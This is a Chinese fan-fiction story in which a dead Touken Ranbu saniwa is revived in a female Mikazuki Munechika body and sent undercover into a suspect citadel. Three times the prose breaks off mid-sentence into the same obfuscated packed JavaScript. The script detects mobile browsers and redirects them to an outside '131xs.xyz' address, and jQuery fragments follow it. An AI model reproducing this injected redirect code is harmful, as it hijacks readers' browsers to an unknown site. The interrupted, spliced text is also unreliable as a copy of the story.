《性转三日月决定拯救世界》
1. 死亡
在视线彻底黑暗,意识陷入混沌之前,她脑海中的最后一个念头是,还没给远征结束回来的第四部队开门。
如果刀剑乱舞这个游戏里的一切是真实的,他们要被永远关在本丸大门外了。
明明本丸就在眼前,却因为没有审神者灵力的引导,怎么也无法进去,一墙之隔外空耗时间,真是可怜啊。
不,或许更可怜的是自己。
毕竟刀剑乱舞只是个游戏,而她是真的死了。
是死了吧?
感觉不到身体的任何一个部位,恍惚之间自己的全部随意识一同涣散。像是从拥有实体的人开始变形,变成粘稠的水晶泥一样的胶状物,又如柳絮一般飘散而去,越来越轻,越来越轻,如果还能睁开眼,或许自己正在飘荡着向天空飞去。
接下来连这一切也会失去,意识彻底断开连接,感知不到世界,也感知不到自己。生命就此结束。
本来应该是这样的。
可她失去了对周围的感知、身体的控制,却还能感觉到自己正呈现灵魂状,在不知何处飘飘忽忽。
直到一个声音响起,环绕式地从四面八方响起,就像一个开关被打开,她突然对所有一切重新拥有的实感。
“审神者【寥星】,作为跨时空任职者,就职于时之政府已达十一年,业务娴熟,能力出众。如今于现世因意外离世,我们邀请您再度加入时之政府,为了维护历史而奋斗。”
……
时之政府?
邀请我?
不是吧,死了还要再打工啊?可以拒绝吗?
她在心中发出名画一般的呐喊,很遗憾,没有被听到。此时的她空有灵体存在,却还没有真正融入这个世界。
直到对身体的感知再度上线,心脏、头脑、躯体和四肢都慢慢凝实,当心脏泵动第一下,带动血液如河水流动之时,她睁开了眼。
眼前所见之景犹如在梦中,天地四方都是深邃的颜色,如同身处无际深海,又如飘荡在星空。其实都一样,星空不就是y轴上另一个方向的海洋。
这里天地一色,空荡渺茫,她略感新奇地四望,无论望向哪里视线都没有终点。
有星光在身旁闪烁,她仔细看去才发现四周漂浮着的大大小小的光点,并不是她以为的星辰,那没有实质的光泡一样的东西,里面或快或慢,有画面在播放着。
“【寥星】大人?”
是刚刚听到的那个声音。
顺着声音看去,不知何时这片空间里站了一个人。他披着垂到脚踝的长袍,包裹着身体却露出那堪称年轻的面容。从长袍未能遮住的缝隙中看去,他身上的制式西装格外眼熟,这个制服【寥星】见过,或者该说十分熟悉,这不是刀剑乱舞里时之政府的工作服吗。
对哦,他刚刚也说了时之政府。
才刚刚接受自己死亡事实的【寥星】,对于现状有些理解无能。她几次张口想要问些什么、了解些什么,却都没能说出口,喉咙里似乎塞满了柳絮,连带着胸腔到大脑都有窒息的感觉,于是她就这么站着看着面前的时政人员。
这位时政的工作人员很有耐心,即使话语没有得到回复也并不催促,又或者是因为他此刻比【廖星】还要紧张,只是为了身为工作人员的尊严强撑着。应当是从【寥星】迷茫的目光中看出了【寥星】正面临的困扰,他略带歉意对【寥星】说,“您是位十分优秀的审神者大人,对于您的遭遇,我们深感抱歉。”
所谓遭遇,是在说自己的死亡吧。
若是继续说什么再度加入时之政府,【寥星】只觉得没有实感,就像是缥缈莫测的临终幻想。但说到自己的死亡,【寥星】便感到真实了,毕竟那是自己刚刚才经历过的事情。
关于那人所说的“深感抱歉”,她并不觉得有什么好抱歉,她的死亡虽然突然,但并非没有征兆,她自己都早已接受。对她说抱歉什么的,果然只是社交礼仪吧,明明跟他、跟时之政府又没什么关系。这人还真是看重礼节,让她不太习惯。
不过这位时政人员语气表情都非常真诚,其间透着十足的认真,一番话语依然让她感到些许从心底泛起的宽慰。
于是她微微颔首,也认真回道,“啊,抱歉什么的,不用这样子,我并不觉得有什么。不过还是谢谢你,我感觉好多了,我们继续刚刚你想说的事吧。”
那时政人员抬手按在胸口朝她俯身,态度恳切地说,“是这样的,【寥星】大人您任职于时之政府十一年,虽然是跨时空任职,并未亲身上任,但多年来兢兢业业,战绩优异。现在得知您于现世离世,时之政府深感惋惜的同时想邀请您以特殊调查员的身份再度加入我们。请跟我们一起继续守护历史,维护世界的和平吧。”
站在或者说飘在这里,亲耳听到时政的工作人员说出这段话,【廖星】不由得发自内心地感叹:
原来是真实存在的啊。
时之政府也好,她的本丸也好,她的刀剑男士们,原来是真的存在的啊。
此刻她最在意的,并不是时政人员口中守护历史的职责,而是陪伴她十一个春秋的刀剑男士们。
总是披着被单的她的初始刀山姥切国光;从实装后初次限定锻刀一路坠机,锻了三年才到手的数珠丸;刚准备送去极化还没出门的山姥切长义;害羞胆小却是她本丸主力的初锻刀五虎退……原来都是真实存在的,只是在另外一个时空,在她曾经到不了的地方,存在着、生活着,在她不知情的时候陪伴了她十一年,从她入坑名为“刀剑乱舞”的游戏到如今死亡。
直到死亡……死亡……直到亲眼面见死亡,她才真正明白,人类的生命是多么脆弱。
再强健的体魄,与钢铁相比,也无异于纸碰上火;在疾病面前,更是蜉蝣撼树。
流淌的血液,可硬可软的肌肉,结实的骨骼,那属于人类的身体,已随死亡消融。如今这幅透明的躯体,有着人类的形态,却没有真实的、可以被触摸到的结构。
这应当是时之政府的手笔吧。
这算什么呢?勾魂?这个世界也有黑白双煞?
大抵是没有的,不知道时政具体做了什么,但拜他们所赐,在奈何桥上走过一遭的她,现在还能
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15640502|172683||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
看能听能感受。
即使是透明地飘着,也总归比化成一盒子灰好。
收下这份时政的礼物,拥有这样新的生命,答应时政的返聘邀请,是不是就能继续做审神者,是不是就能亲身去往她的本丸,亲眼看见、亲手触碰她养了十一年的刀剑们?
如此想,她也如此问了。
“意思是,我继续做审神者吗?”
她带着微不可查的期盼如此发问,却没有得到渴望听到的答案。
对面的工作人员再次躬身,为之遗憾,“很抱歉,在您死亡的那一刻,您与时政签下的合作契约便失去了效力,与付丧神的链接也自动断开。按照规定,也为了刀剑男士们考虑,在您死亡期间,时政完成了对该本丸的回收。”
“您的情况,”工作人员顿了一下,似乎有些不忍,“已经无法成为审神者了。”
已完成回收?是什么意思?她立刻联想到楼下废品回收的大爷,骑着老旧的三轮车,车上挂着喇叭,一刻不停地喧闹着,“回收空调、冰箱、洗衣机……”;联想到小区里的垃圾分类,堆在不同垃圾桶里的干垃圾、湿垃圾和旧电池。
她的刀剑们也会像废品和垃圾一样被回收吗?垃圾一样被分类处理,或是废品一样堆放进仓库。
在脑中构建想象的第一时间,她的心跳急剧加速,这种事情绝对无法接受。
“什么叫回收?你们做了什么?”她问。
“您别担心!我们的回收是按照流程的、正规的行为。”工作人员听见她的声音干涩如柴,紧张之下是显而易见等待宣泄出来的不满,连忙解释,“我们绝对不会伤害刀剑付丧神的。只是暂时定性为无主本丸,由时政麾下的优秀审神者提供灵力。之后会经过多番商讨,再择优选取新的的审神者接管该本丸。”
“新的审神者”“接管本丸”。
她的脑海中回荡着本能抗拒的字眼,只觉得心都被掏空了。
沉默片刻后,她不死心地追问,“我真的不能再成为审神者了吗?”
被那双眼睛里深重的东西所打败,工作人员不敢再与她对视。在来这以前,他认真查看过她的任职资料。平心而论,这真是位极其适合这个身份的、合格的审神者。
任职期间,从未失去联络五天以上,持续联络时间最长达384天,满图鉴且所属刀剑全部满级,所有数值均max。
检察人员还调取了这位审神者参与活动的数据,真是让人不禁感慨,这是肝上长了个人啊!
如果能录用这位大人继续担任审神者,肯定是好事一件,但现在有更重要的事情需要她的参与。想起上层对他的嘱托:一定要尽可能地说服对方答应他们的请求。工作人员斟酌后对【廖星】说,
“只有身负大量纯净灵力的人才能成为审神者。在您身死之后,您体内的灵力也逸散大半,如今已经无法肩负聆听神明、审判神明之权能,也无法唤醒沉睡之物内心的思念,并使之觉醒拥有战斗的力量。”
工作人员在尽量委婉地提醒她,再次回到她的本丸,继续担任审神者是不可能的了。
2. 复生
她闭了闭眼,不愿相信这个结果。
此前一直以为只是游戏的世界,在死后突然得知那是真实的,以为自己死而复生,会在自己熟悉而喜爱的本丸中迎来全新的生活。转头却又说,你的本丸已经不是你的了。
得而复失是假象,正如她失去了审神者的身份一样,在死亡的那刻她就已经失去一切。所谓的复生,或许也并不尽然。
先前被时政的返聘邀请吸走了所有的注意,此刻她才认真观察起自己的身体。
与其说是身体,不如说是灵体。她低头能透过自己的脚看见深邃幽暗的地面,抬手能穿过手掌看见对面那个披着斗篷的工作人员。
他的斗篷内外同色,没有兜帽,露出的面容上挂着半生不熟的职业性微笑。
正是这微妙的生疏感,让辉月愈发清醒地意识到,真的什么都不一样了。
她知道,如果她接受了时政的邀请拥有新的生命,那么未来的人生也会像这具身体一样陌生。
开始新的人生意味着抛弃过往,她真的能做到吗?审神者【廖星】已经死了,那么站在这里,以新的身体活下去的又是谁?
工作人员看着对方神情恍惚地观察起自己新的身体,并没有出声打断。
他知道这会是个让人难以接受的过程,在时政内部决定要尝试开展这个行动后,他们找过不少离世的审神者。意外死亡的,潦倒失意的,没有亲缘关系的,无论曾经的人生多么不如意,要想劝服他们向着未知的全新未来踏出第一步都非常不易。
不仅因为未知所代表的可能的危险,更因为人类便是这样,总是与太多事物有着深刻的联系。这些从过往延伸而来的联系化为丝线缠绕着他们,可以是支撑拉住摇摇欲坠的人,也可以是束缚牵绊住远去的脚步。
他做好了等待许久的心理准备,没想到很快【廖星】便从思绪里脱离,一双美丽且锐利的眼睛看向了他,“所以,你们需要我做什么?事先说明,我只是个普通人,如今连灵力不剩多少,可做不了太复杂的事情。”
真是敏锐啊,他在心里赞叹。
世界公平,赋予越多,索取越多。时政给予逝者第二次生命,怎么可能是一场全然的慈善,拒绝了续约审神者,那么一定有别的安排,这份安排会比做一位合格的审神者更困难。
这并不是时政第一次尝试这项行动计划,初次行动以失败告终。不少大胆的参与者加入其中,却往往达不到预期的目标,要么在接下来的行动里漏洞百出,导致行动暴露甚至丢失性命,要么就是在短暂取得成功后,承受不住过大的心理压力自行刀解。
这位大人作为审神者很优秀,但要作为此项重要行动的执行者,她能胜任吗?
这是个没有人能预先给出答案的问题,但在他主动提出之前就有所猜测,这份敏锐让他对其刮目相看。
“请放心,接下来我会向您说明,”工作人员神色友善而恭敬,“一直以来,时之政府带领着审神者们设立并发展本丸,唤醒并使用刀剑付丧神,对抗历史修正主义者,以守护历史。”
“我生前就任审神者十一年,这些内容堪称滚瓜烂熟,不如直接进入正题如何?”辉月道。
工作人员噎了一下,没想到这位大人适应能力这么强,都能坦然说起“生前”了。他把来之前员工培训的定制话术删去一半,继续说道,“我明白了。众所周知,凡有光明必亦有黑暗。在大众看不见的地方,潜藏着无数危机。如果不能及时发现并清除,会引发更多不幸。”
“有没有人向你们反馈过,这个说客稿子写得太文绉绉了。可以直白一点吗,请?”
【廖星】和善平和的语气莫名让工作人员感到压力。他小心地抬头看了眼【廖星】,只觉得这位大人跟想象的完全不一样啊,明明长着这么一张温柔友好的脸,谈及关键信息却这么难以应付。他擦了擦脑门上不存在的汗,将脑子里剩下的稿子再过一遍,删删减减,进行翻译后,再度开口,“总之,在我们看不见的地方还存在很多受压迫和侵害的审神者和付丧神,需要您前去拯救!”
这也一下子简洁太多了,而且拯救什么的,是时政的活吧,【廖星】暗暗诽谤。哦不对,如果答应他们的邀请的话自己也就是时政的打工人了。
她心里暗笑一声,果然死而复生、游戏成真还到了异世界,碰上这一连串的事情给人的冲击还是太大了,连她都有点不清醒了。
在【廖星】再度开口之前,工作人员终于讲到了正题:
“目前时政开展了一项新的行动计划,名为“火种”,主要派遣特殊调查员进入疑似存在问题的本丸进行潜入调查。调查过程中会有一对一的观察员从旁辅佐,调查具体内容为本丸的真实情况,如存在失格或失常现象则还需记录罪证。”
作为特殊付丧神,进入疑似存在问题的本丸,接近疑似面临险境的刀剑与审神者,收集资料,查明真相,帮助需要帮助者,解救需要解救者。
如果是这样的话,她是可以接受的。能够为刀剑付丧神施以援手,即使是其他本丸的,也是一件有意义的事情,倒也不浪费这多来的时光。
“只是调查?”辉月问。
“当然,只是调查。”工作人员生怕辉月多想,立刻坚定地颔首。
然而他肯定得再快再坚定,辉月也不可能不顺着往下考虑。
说到问题本丸,辉月立刻就想到了神隐与暗堕,这两个同人文里出现最多的“问题”。
简而言之,神隐是刀剑付丧神动用神力将审神者困在独立的小时空,暗堕则是付丧神因遭遇审神者虐待或受到污染发生异变,失去神性转而拥有极高攻击性。
不管哪一个听起来都很危险啊。
“如果真的存在问题呢?”辉月探究的目光落在工作人员身上,自带重量。
“所以正需要观察员的辅助啊,更何况到时候我们会为您重塑身体,融合付丧神神力后的身体拥有付丧神的机能,再加上您剩下的属于审神者的能力,只是调查的话是没有问题的。
如果真的确认问题存在,会安排您尽快离开该本丸,另外派遣专门处理问题本丸的队伍前往的。在这点上请不要担心。”
说到这,对面的时政工作人员似乎听出来辉月忧虑甚多,答应邀请的意愿低下。他回想着上司的要求,突然像是做了某种重要决定般略显生涩地说道,“付丧神的身体,人类的灵魂。很奇妙不是吗?只要您的心不死,神明塑造的身体将支撑您的生命,也就是说,您不会随时间老去。”
“付丧神的身体……我不会碎刀和刀解吗?”
工作人员停顿了一下说,“您的身体里还留存有灵力,使用灵力保持自身显形的同时,也完全可以治愈自身。”
真是有着致命吸引力的话语。
不会随时间老去,这不就是在暗示永生吗?时政这是把永生端出来当诱惑,引诱像她一样的审神者啊。
一般人死后重生,又得知能够永生想必会感激而狂喜,对时政充满好感,接下来时政再说明要求也就顺其自然地答应了。
可【廖星】不是一般人,时政放出的自认为最大的诱饵对她来说毫无诱惑力。
已经结束的一切再次开始是否必要,在她这里是个颇有所争议的话题。至于永生,如果没有重要的存在相伴身边,永生不过就是无尽的孤独罢了。
和工作人员聊了这么多,【廖星】的心情与想法并没有任何改变与动摇,依然没有打消回自己的本丸继续做审神者的念头。倒不如说,这才是她唯一的渴求,是她从来到这里后、也是以后的唯一目的。
想要继续做审神者,首先得活着不是吗?所以,这个返聘邀请她是必接不可了。
“很有意思的计划呢,”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15640503|172683||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
辉月露出了一个浅笑,“那么接下来我们来聊一聊什么时候出发的问题吧。”
闻言工作人员的脸上炸开一个灿烂至极的笑容,比辉月的笑不知道真情实感多少倍,简直是肉眼可见地喜悦与兴奋,好像年终奖马上就到手上了一样,“您答应了吗,太好了!我们这边已经做好准备,只要您点头,随时可以出发。”
说着,【廖星】便看见工作人员抬起包裹在手套内的手,在虚空中划过,一道暗蓝的光纹随之流转,于是侧前方凭空裂开一道细长的口子,就像是刀尖划开的伤口。它被不知名的力量拉扯着,越开越大,直到能够容纳一人通过才停下。
空中传来一道电子女声,没有感情没有波澜,“确定坐标……传送通道已打开。”
工作人员对着裂缝弯腰有请的姿势都洋溢着快乐,“等您穿过时空裂缝后便会自动拥有新的身体。介于您第一次进行行动。这次选取了相对简单的任务目标,详情在您到达目标点后,我们会向您说明。”
裂口中间是一片沉沉的暗色,犹如捉摸不透的深渊,又像是吞噬一切的漩涡,只是看着便让人心底涌生寒意,即使是工作人员满身的雀跃也掩盖不了那扑面而来的压抑。
【廖星】攥住微凉的指尖,盯着那无边的黑,慢慢向前走去。
就在工作人员想着自己终于完成了说服这位大人的任务,暗自松了口气,用欣慰而激动的目光送她离开时,她突然停步。
“失去审神者的本丸什么时候会找到新审神者?”
“啊,这个,”工作人员没有料到这回马一枪,慌乱答道,“以时政总部所在时空为标准,大约两个星期。没办法,失去审神者的灵力供应太久,刀剑们会回归本体的。”
“给老本丸找新审神者很不容易吧,将心比心,大家应该都更希望有个属于自己的新本丸。”
“您说的没错,现实所需时间确实会比预计更长一些。”
“一个月?”
【廖星】背对着工作人员,侧着头轻描淡写地说着,就好像只是一场任务前的普通聊天。兼之说服工作完成戒心下降,虽然心底隐有不安,工作人员还是被带着放松了下来,摸摸下巴说起了自己调职前在办公室里的见闻,
“如果是审神者意外离世的话,可能要更久。有观测数据的同事休息时自己拉表计算过,平均时长两个月。就算是刀剑们,面对人类突然之间的生离死别也会需要时间去适应。”
“所以审神者不一定是要人类担任对吗?”
“啊?您怎么……”工作人员一下子睁大了眼睛,紧紧闭上了嘴巴,将“知道”两个字堪堪咽回肚子里。
不用回头都能想到工作人员慌乱的表现,【廖星】笑了,“看来不能,真遗憾啊。谢谢了。”
说完,她走进了时空通道。
留下一个大脑宕机的工作人员。
坏了,这到底是知道了还是没知道,要不要把这点上报啊。看着随着生命进入而关闭的时空裂隙,工作人员焦虑地原地转圈。
注意事项里有说不能让参与活动的人类知道还有再成为审神者的可能,是我说漏了嘴了吗,刚刚哪里有提到?
不对啊,我根本什么也没说吧。
被虚晃一枪了。他终于明白过来,再次看向时空裂隙存在过的地方,一边懊恼一边期待。
亲历死亡,又从死亡中脱离,经历这段不符合常理的历程,仍保持住了镇定。面对重生、强化的身体乃至可能的永生,时政抛出的一系列好处,依然不为所动。如此冷静,又总能抓住言语之后的关键之处,如此敏锐。
似乎任何人面对她都会不由自主地想,如果是她的话,投入更多希望也无妨吧。
工作人员有一种微弱但准确的直觉,这位大人一定可以完成他们的计划。只要能完成计划,这种细枝末节不上报也没关系吧。
3. 新手教程1
通过时空裂隙的速度比【廖星】想象的更快,脚从裂隙中跨过去便到了一处荒野。
脚落在了实地,大地的凹凸不平清晰传递到她的脑海。她居然真的在穿过时空裂隙后,拥有了实体,捏捏自己的手,摸摸自己的头发,她这才有了对死而复生有了真实感。
这就是工作人员说的融合付丧神神力所创造的新身体吗?
她抬起手,放在自己视眼中央,拉进,伸远,旋转,再握紧。眼前的这双手和自己原先的并不一样,虽然都纤细修长,但比自己曾经的更白皙有力。长发披在肩上,颜色也并非她原本的纯黑,是极深的蓝色,这似深海如夜空的蓝让她想起刚刚离开的神秘空间。
身上的衣服十分繁重,几乎到了难以抬脚的程度,将她的肩膀都要压垮。来不及低头去看也来不及抱怨,耳边传来一阵细微的电流声。
“@#¥”
这种被声音贴在耳边的感受不太舒服,她不由得抬手去摸耳朵,在右耳垂处摸到了一枚耳钉。好像就是这个东西漏电一样地发出怪声,她正准备把耳钉摘下来,里面传出了刚刚分别的工作人员的声音。
“&%大人,这¥%……”
“什么?”【廖星】捂着耳钉问。
“啊,这样可以听到吗?”那边传来的声音终于趋于清晰,原来刚刚的是人话不是怪声。
“可以,你刚刚说什么?”
“是这样的【廖星】大人。您耳朵上的耳钉既是通讯设备也是健康检测仪器。我会作为您的一对一观察员由此关注着您的身心状况,当您陷入不健康的状态,我就会通过这个通讯设备联系您。如果有必要,请及时向我求援。另外,接下来的任务发布都会由我通过通讯设备告知您。请务必将通讯设备妥善!保管,贴身!随时!佩戴。无论如何不要摘下!这是为了行动成功,也是为了您的安全。”
戴着耳钉睡觉会压到吧,会痛吧。【廖星】不喜欢痛,再细微的也不喜欢。但工作人员已经这么说了,那还是一直戴着吧。于是她放下了准备摘耳钉的手。
“我知道了。顺便问一下,我该怎么称呼你?既然以后都是你联络我,那么名字应该告诉我吧?”
“是我疏忽了!请称呼我为【A65】。”
“这是你们时政的员工编号?”
“是的。”
“还真是没有人情味啊。”
通讯设备那边安静了几秒,随后传出无奈中带着羡慕的声音,“您还真是……出人意料地坦率啊,何曾几时我也这么直言不讳。”
或许是因为年轻,A56自然而然地和第一次见的人提及自己的经历。这独属于年轻人的没心眼,阴差阳错拉近了【廖星】与他的心理距离。
【廖星】听见他的话没忍住笑出了声,“看来英雄所见略同了。”
“然后我就从办公室到了这里。”
“这算外调吗?”
A56思考片刻说,“算贬职。”
【廖星】真心诚意道,“为你逝去的勇气和变差的工作环境默哀。”
不用再担心捞来的审神者拒绝返聘,不用为业绩问题苦恼,放松下来的A56自带大学生一般的清澈和幽默,让【廖星】顿时升起逗逗他的兴致,但此刻到底不是闲聊的时候。
她回头去看来时的方向,已再不见来时裂隙的踪影。
果然是高科技啊,她发出来自21世纪的跨越时空的感慨,随后开始观察四周。
环境陌生又熟悉,跟游戏里的出阵地图有些类似,但因为老玩家的通病总是挂机刷图,自然不会去细看地图的差别,于是她无法判断这到底是哪张图。
前方远处是一片密林,植株茂密,对行动灵活的刀剑还好,对人类来说极其不方便通行。另一个方向是空旷的平原,非常方便通行但没有任何遮掩,遇到敌人想躲都无处可躲。
观望半天也没想好该往哪个方向去,她干脆原地坐下。
果然让一个21世纪三好青年来这种地方,实在是太让人为难了。
“我现在要做什么?”她直接问耳钉里的工作人员。为“玩家”解答疑惑,“客服”不就是这么用的吗?
“请原地稍等一会。目标本丸的出阵队伍正向着您的方向前来。”工作人员说。
太好了,看来她不用在这里枯坐很久。
“接下来请让我为您介绍目标本丸的情况。该本丸碎过两次刀。因为审神者入职不久,碎刀次数也不多,时政判断可能是不小心碎刀,恶审概率小。但因为近段时间,该名审神者行为有异,虽然仍在出阵,但既不完成演练,也不再进入万屋,时政还是将其列进了待检查行列。您要做的就是想办法进入这座本丸,确认具体情况。”
“碎刀两次也不多?”她问。
工作人员的声音带上了无奈,“是这样的。新手审神者缺乏经验,有时判断不清楚形势导致出阵时碎刀,这并非不可避免,但也算得上是常见。一般度过新手期这种事情就不会再发生了。”
说不定还有人是因为对碎刀好奇刻意去试。【寥星】这么想,但没有说。
耳钉里传来的声音突然压低,紧张混杂着激动,“他们来了!请做好准备,不要紧张,这次任务经分析非常简单,您就当成游戏里的新手教程就好。”
【廖星】闻言笑了一下,“你说过一遍了,放心,我一点也不紧张。”
相反,相比之下,A56像是更紧张的那个。至于【廖星】,她的状态更接近于平静地兴奋,如常的表情之下是跳得极快的心脏,发热的血液,以至于她不得不有意地调整呼吸,以免脸上发红被人看出异样。她已经迫不及待想亲眼见一下那些她熟悉到不能再熟悉的刀剑付丧神们,即使不是她家的。
如A56所说,片刻之后,她注意到远处有人影晃动。只是和他说得不同,那憧憧人影晃了两下,没有向她继续靠近,反而找了另外一个方向离开了。
发现她后第一反应是绕行,这是什么意思呢?
可不能就这么让他们走了。
她立刻起身想要追上他们,事情却并不如她意。新到手的身体用不习惯,又重又长的衣服更是让人头疼,刚走两步她就踩到了衣摆一下摔在了地上。
这一下尘土飞溅,不仅弄脏了衣服,还让她忍不住咳嗽。她平复好呼吸,勉强避开衣摆撑着地爬起来,拍了拍身上沾的灰,扯扯衣袖拎拎下摆。
好不容易恢复能够行动的状态了,已过去不少时间,她想着那队刀剑付丧神应该早跑掉了吧,只好让A56再想办法了。结果一抬头,眼前站了一排六个人,正是一队刀剑男士。
这就是目标本丸的出阵队伍吗,真是群好心的孩子,居然被她摔倒的动静引过
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15640504|172683||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
来了,看来摔也有摔的好。
她环视一圈,只见队伍里人人带伤。所幸伤的位置多是手臂肩背等常见的位置,伤势不算严重,几人的表情也都算得上从容。目前看起来像是正常的出阵队伍,不过是路上和时间溯行军起了些摩擦。
于是【廖星】稍稍放心,将目光移向为首的队长。
棕色短发发尾留长,金棕色的眼瞳,她一眼就认出这是初始刀之一陆奥守吉行。
同一时间,陆奥守吉行也认出了她。
“哇,是三日月宗近?”
三日月宗近?
等等,我居然变成了三日月宗近?
那个天下五剑之一,被称为最美的剑,审神者圈子里出了名的谜语刀?我吗?那个死之前只是个平平无奇劳碌命的社畜的我吗?
我扮演三日月宗近,那不是涮涮辣拌小米辣——完啦么。真的不会一眼就被看出不对劲吗。
【A65】!这么重要的事情居然没有提前说,但凡说了,她一定会更郑重更谨慎地考虑要不要答应时政的任务。
【廖星】在心里诅咒时政,这个任务再也找不到下一个愿意接的人。
而且她扮演的还是性转的三日月宗近,哈哈,难度大上加大。本来不紧张的,现在开始紧张了。
“啊,不好意思,【廖星】大人我忘了提醒您了,您体内融合的付丧神的灵力来自于三日月宗近大人。如果需要谴责我的话,请之后尽情谴责吧。现在请您扮演三日月宗近大人,拜托了!”
A56的声音颤抖得堪比大地震,隐隐透露出天塌下来般的绝望气息,跟以前见过的一不小心犯错的实习生一模一样,让【廖星】谴责的心情都消散了一半。
先把面前的难题过去再说吧。她拼尽全力用出了毕生积攒的演技,才压抑住了内心的震惊,没有在面前出阵成员的注视下失态。
“啊,是陆奥守呐。哈哈哈哈见笑见笑,果然是年纪大了走个路都会不小心摔倒。”她抬手掩住小半张脸,遮住因情绪急剧波动而僵硬的面容,尽力保住了几分优雅。
“原来是摔倒了啊,远远看见你突然倒在地上,可真是吓咱一跳。怎么样?没有摔到哪里吧。”
果然是热心又可靠啊陆奥守,温暖的话语让她因紧张而寒冷的心也回温了。
她正想说没事,红发的小男孩已经凑近过来,“三日月殿,衣服乱了,我帮你整理一下吧。”
啊,是爱染国俊。
红发金瞳的小短刀细致地帮她抚正衣摆捋顺衣袖,又垫起脚伸长手,想要打理她的头发,却因为短刀太刀的身高差完全碰不到。
她轻笑一声蹲下身,方便他的动作,“爱染很会照顾人呢。”
对于三日月宗近这个付丧神她姑且算是了解,可对他那出阵时穿的端庄优雅的狩衣却是完全不了解,如果不是被旁人指出,她怎么也看不出哪里有问题。这点倒是和三日月不擅长打理自己的特点对照上了。
“咦,”爱染国俊将她头上的发饰摆正,疑惑地说,“三日月殿原来是长头发吗?”
哈哈,不仅是长头发还是女孩子哦,说出来一定会把这里的大家吓一跳吧。【廖星】恶趣味地想,但她是不会说出来的,除非他们发现。毕竟他们被吓一跳,就是被吓一跳,而她这颗短时间内经历颇多的脆弱心脏已经经不起一点折腾了。
4. 新手教程2
至于爱染的疑问,就发挥平安老刀的特殊技能,说谜语一样说了好像没说地糊弄过去吧。
“哈哈哈哈长头发嘛,嗯嗯,长头发呢。爱染也觉得很难打理吧。”
她的长发过了腰,比她生前还要长,是让爱染国俊束手无措的长度。即使是擅长照顾的小短刀,在没有任何工具的情况下,也只好稍微摆正了发饰就回到了陆奥守吉行的身边。
嗯,是她的错觉吗,总觉得这振爱染有些安静了呢。
陆奥守吉行捞过爱染国俊,手搭在了他肩上,隐隐透露出保护者的态势,“没事的话,咱们就先走咯,出门在外请务必小心一些啊。”
等等,这样就要走了吗?
不应该问一下我好好一刃为什么会孤身在外面吗?
【廖星】环视面前六刃,陆奥守吉行,爱染国俊,山姥切国广,堀川国广,歌仙兼定,小夜左文字,没有一个人对此提出疑问。两振国广甚至站得远远的,一幅恨不得立刻就走的样子。
不行,可不能让他们就这么走了。
【廖星】立刻开口挽留,“虽然不想说,但似乎到了必须要求助的时候了。老人家我啊不小心迷路了,不知道可不可以先去你们本丸修整一下呢?”
陆奥守吉行似乎犯了难,他的热心肠促使他想要帮助面前遇到困难的人,却又出于不可说的缘故迟迟不肯应下这份请求。他挠了挠头,为难地说,“这个,不是咱不想帮忙,只是可能不太方便。要不咱把你扶到路边坐一会,这里是桶狭间,来的队伍很多,很快就可以遇到下一队了。”
“原来这里是桶狭间啊。”
你游著名资源点,那确实来的人很多了。
听到【廖星】的感叹,陆奥守吉行眼中划过无奈之色,彻底相信了面前自称老人的刀是迷路于此了。
“【寥星】大人,请一定要想办法让他们接受您!虽然该本丸出阵频率不低,错过这一次很快也能再遇到,但是对您来说,野外还是太危险了。”A56在她耳边轻声催促。
你不说我也知道啊。但面前的刃看起来很不想带我走。
怎么办……?
【寥星】目光瞥见出阵队伍成员破损的衣服,身上几处血迹,突然灵光一闪。她按住胸膛,发出一声痛呼,原地缓缓地蹲了下去。
面前有几刃见状收回想要离开的脚,重新靠了上来。
“三日月殿还好吗?发生什么了?”
“是摔倒之前就受了伤吧。”
她原本是想演得夸张一点,最好一副命不久矣却苦苦忍受的模样,“扑通”一声倒地上。但头顶三日月宗近的名号,竟使她背上了不知从何而来的偶像包袱,最后还是收敛着来了。还好,还是成功留住了刀剑付丧神离去的脚步。
“唔……没关系哦,你们应该是有事要去做吧,去吧,不要因为我耽误了。”她幽幽开口,声音尾部刻意压出了近似疼得颤抖的波澜。
这一招叫做以退为进!
她就不相信有人听到这话还能撒手就走。
但显然和她“搭戏”的不是人。
“他说没事,快点走吧。”披着快变成灰色披风的金发青年如是说。
【寥星】:?
真不敢相信,山姥切国广,你36°的嘴里怎么说得出这么冰冷的话语,是什么让社恐害羞的你修炼出这样的刀子嘴?
